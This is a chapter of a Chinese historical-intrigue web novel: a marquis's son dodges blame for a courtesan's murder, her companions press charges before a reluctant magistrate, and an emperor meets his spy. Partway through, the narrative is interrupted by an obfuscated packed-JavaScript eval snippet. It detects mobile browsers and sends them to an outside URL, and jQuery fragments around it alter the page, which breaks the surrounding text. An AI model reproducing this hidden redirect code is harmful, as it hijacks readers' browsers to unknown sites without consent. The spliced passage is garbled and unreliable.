34. 刺

作品:《梨落折高栀

    *


    小侯爷仓皇回到侯府后,只见他爹甄将军正坐在椅子上闭目养神,似乎早已在正厅等候多时。


    “爹,我错了,你听我解释......”


    甄将军睁开眼,严厉地喝道:


    “孽畜,跪下。”


    小侯爷不带一丝犹豫,“扑通”一声跪了下去:“爹,这事我明明已让人处理妥当了,我也不知怎么会闹到官府去。而且我都已经疏通大理寺的人,让他们尽快结案——”


    “我怎么能养出你这么个蠢货,这尸体是在众目睽睽下被发现的,怎么可能会轻易结案?倒是你这孽畜,这几日寻-欢作乐,享受得很吧,外边的动静是丝毫没注意。现在桃红楼与官府的人都介入了,你瞧瞧你办的好事。近来圣上本就提防起我们侯府来,对季苍镧那个老东西倒是重视的很。在现在的节骨眼,闹出这档子事,若是闹到圣上跟前,这平定西南的甜头估计就要落到了季苍镧那去......”


    “爹,这人也不是我杀的,只要我死不承认,就和我们没关系啊——”


    甄将军重重地拍了下桌子:


    “大理寺那边已集齐了人证物证!出了这么一条人命,就算你再怎么嘴硬,也与我们侯府摆脱不了关系!”


    小侯爷挠挠脑袋:


    “人证物证?怎么会呢,我已让人处理好了啊!而且我们侯府最近严加看守,不是刚捉到个贼吗,怎么会被人抓到把柄呢......”


    “废物东西,到现在还弄不清情况——你说的那贼,是圣上身边的人,季苍镧的养女,季瑛。”


    “季瑛,不就是那个圣上身边的狗腿子?为何会出现在我们府上?”


    甄将军利落地站了起身,神情依旧严肃,但语速却放缓了不少:


    “这不是你该操心的事。你还是先好好想想,怎么把你的烂摊子收拾好吧。”


    小侯爷见甄将军气消了些,又咧嘴笑道:


    “嘿嘿,爹,看你的样子,你也不是很担心嘛。你肯定有留后手的对吧?”


    “自然。不过,眼下我有更重要的事做。你知道接下来该怎么做吧?”


    小侯爷重重地点了点头:“那爹,我先去衙门那凑个热闹?”


    甄将军揉了揉太阳穴,挥手示意。


    小侯爷见状,起身后,立马屁颠屁颠地跑了出去:“好咧,我这就麻溜地滚!小的告退——”


    出了门后,看着丝毫不慌的小侯爷,跟在他身旁的阿权忍不住问道:


    “小侯爷,这,真的没事吗?”


    小侯爷不以为然地笑笑,嘴里哼着小调,似乎已经想好了下一步:“哼,当然,自是有人来做这替死鬼。走,先去衙门看戏去。”


    *


    京城八仙大街的衙门处。


    药娘手里端着一个盘子,里边放的正是物证。她递上前去,有条不紊地道:


    “大人您看,这刻着坤卦的银币,是侯府专供的,除了侯府的伙计外,无人可以拿到的;而且,众人皆知,这是不能在市场上交易流通之物。”


    今日值班的陶大人刚来京城上任不久,自是知道京中风云变换,这侯府断然不是他一个轮值小官惹得起的。他一听到侯府两个字头痛欲裂,但不知桃红楼哪搬来这么多围观群众,一个个还披麻戴孝的,生怕别人不知道自家出了人命,他只好先戴上一副铁面无私的清官面具。


    他拿起这银币,虽然并没讲她说的话听进脑中,却还是煞有介事地点了点头:


    “好,接着说。”


    “这银币是在藏尸之所发现的,也就是说,搬运尸体的人,是侯爷府的。”


    话音刚落,围观群众顿时发出了吸气声。


    混在群众之中唐栀在心中默默感慨道:“这桃红楼找来的人还真是敬业——装扮、演出、捧场......真是样样齐全啊。”


    “这盘中另一样,是枇杷的手帕。因为这手帕上边清清楚楚绣着一对枇杷,用的还是京城少见的苏绣针法。所有与枇杷熟络的人,都认得这个手帕,因为平日里她都会随身携带的——


    因为这是她来自江南的娘留给她的遗物。


    “而这,是在侯府西侧的密道中发现的。”


    全场又一片哗然。


    绿萝接着开口:


    “大人,在下乃大理寺仵作,发现枇杷姑娘的尸首上有深浅不一的鞭痕二十余道,却并不致命,大抵是生前受了歹人折磨;


    “而她的尸首呈樱桃红色,微臣推断,她是在密闭环境中烧了大量的炭,最终窒息而亡。而这侯府的密道,恰好满足这样的条件。而枇杷,也正是在侯府失踪的——我身旁的几位女子正是那天与她一同前往侯府演出的人证。”


    围观群众中有个人大声喊道:


    “京城谁不知道小侯爷最喜欢去莺燕阁中挑选颇有姿色的女子,然后带回府中亵玩——”


    “真是无法无天了!这侯府还有把圣上放在眼中吗!”


    陶大人赶忙拿案板拍了拍桌子:“好了诸位,可不要乱说。我们讲证据,不要意气用事哈。来,你们几位,接着说。”


    “此事定然与侯府脱不了关系,还求大人明察,派人去侯府中查明真相,让死者能安息九泉之下。”


    “这......”陶大人的眼珠子慌张地在眼眶里提溜一圈:


    这还真是有理有据的,我该怎么搪塞她们呢?算了,还是使出我的毕生所学吧——


    “不如,你们去寻大理寺?这案情复杂,已经超出了我们官府的职责了;我不直接否了你们的上诉,也算是力所能及了。”


    药娘并没被这话唬乱了阵脚:


    “大人,此案已在大理寺备案,是大理寺的人让我们来寻衙门,让您来做个裁断。”


    陶大人心想:糟了,棋逢对手。


    他心虚地反问道:“此案如此复杂,我一个不了解全貌的,怎么做裁断?你们几个,还是寻回大理寺吧。”


    话毕,阿蝶在群众中小声指挥道:“哭。”


    随即,现场一片鬼哭狼嚎,活像是误入了哪家的丧事。


    “啪-啪-啪啪”,陶大人重重地连拍几下案板,不耐烦地说道:


    “肃静!肃静!这事,我办不了!”


    药娘抬起头,冷冷说道:


    “陶大人,你可知,你身前是受苦受难的百姓,背后是大昌的律法与天子?若你因恐惧而畏缩,今日饱受宰割的是我们,明日便是同我们一般手无缚鸡之力的你。”


    陶大人的良心并未被刺痛,他振振有词地反驳道:“姑娘,此话差矣。官与民,本就是不同的——要不然,民为何要不择手段地爬到官位?”


    “我们不过是希望您能下派一批人手去调查此事。这对您,能有多大影响呢?这侯府,当真就快顶了天了?”


    “姑娘啊,所以说,民就是民,其中利害关系,你是不晓得的啊。我也是上有老下有小,要不你明日再来,我明日就不当值了......”


    在人群中的小侯爷背着手,一副得意极了的样子:“真是出好戏。”


    身旁的阿权连忙附和道:“嘿嘿,当今谁敢与侯府过不去呢,说是天都不为过了——”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035190|162091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“嘘,话可不能乱说,我们甄氏一族忠君报国几十载,圣上的生母又恰好是我胞姐兰贵妃——这是我们祖上积德才得今日的荫蔽啊......”


    “陶大人,这里怎么这么热闹。”


    一位一身玄衣的男子从人群中穿梭而过。


    唐栀只投去一眼,便认出了这“气质脱俗”的“翩翩公子”是何方神圣。


    “哎哟,白大人,把您给扰动了。您不是要去丞相府吗,要不我让马夫送您过去?”这陶大人总算愿意把屁-股从凳子上挪开了,他一把站起身,随时准备将位置让出。


    白贯道恭敬地行礼道:


    “白某正是从丞相府听闻此处动静,特前来相助的。”


    “那那那真是太好了,来,白大人您坐!你们几个,再与白大人说说这个案子吧——”


    陶大人心里乐得快掐出汁来了,反正到时要是出了什么事,都和他扯不上什么关系了,这白大人才是那做得了主的人啊——哼,况且他的靠山大得很,就应该由这种人来“主持公道”。


    几人又将此事好好地讲给了白大人听。


    白大人满脸严肃,沉思片刻,问道:“这手帕,是你们派人偷偷从侯府带出来的吧——若被仔细追究起来,是做不得物证的。”


    所以,你们希望官府的人能介入调查?”


    “回禀大人,是,以我们的身份地位,无法再进一步调查,也就无法找到动机、锁定凶手。”


    白大人轻笑了声:“好,我可以答应你们,这也不是难事——但你们要想好,下一步要怎么走。”


    人群中的小侯爷听罢,顿时阴了脸:“又是这阴魂不散的白贯道。”


    阿权慌了神:“小侯爷,我们接下来要怎么办?”


    “这还不简单,她们偏说那小贱-人的死与我们侯府有关系,那随便找几个下人去自首就是。”


    而唐栀顿时陷入了深思:这白贯道是圣上亲自提拔的,他的一举一动,定然不是任性妄为的——或许,是圣上也看不下去了?


    他回想起出发前药娘所言:


    “所谓‘计之长远’,我们要做的,不是让小侯爷受些不痛不痒的惩罚——而是在圣上的心里,再好好地扎上一枚刺。


    “我们只需将事情闹得越大越好,自会有东风相助——只要能让官府的人去搜查侯府,事情就成功了大半……”


    ......


    皇宫。


    “陛下。”身着夜行衣的季瑛行礼道。


    这大昌天子,眼窝深遂,看着也不过二十来岁的模样,头上却已生了许多华发,在烛台的照映下,似闪着微弱金光。


    他侧卧在龙椅之上,身边放着一盘围棋,哑声道:


    “不必多礼。此次犯险,凭你的身手,怎么会被侯爷府的小喽啰给抓了?”


    “为了保陛下要看的人。”


    他嗤笑一声:“哼,是个理由。那你说说,此人如何?”


    “回禀陛下。依微臣愚见,此人有勇有谋,以身犯险,是个可用之才。”


    “好。好的棋子,自是对朕感恩戴德,又能为朕排忧解难,例如——你。”说着,他拿起一枚白棋,放在他认为最合适不过的位置。


    “西南那边有何动静?”


    “并无任何动静。不过,西南孔氏次子孔贞准备入京,怪微臣无力,坏了陛下大计。”


    “此次失误,也不全怪你,只怪孔道明那老狐狸总是那么狡猾......好了,你去吧,继续好好盯着。有任何风吹草动,立即秘密入宫禀告。”


    “是。”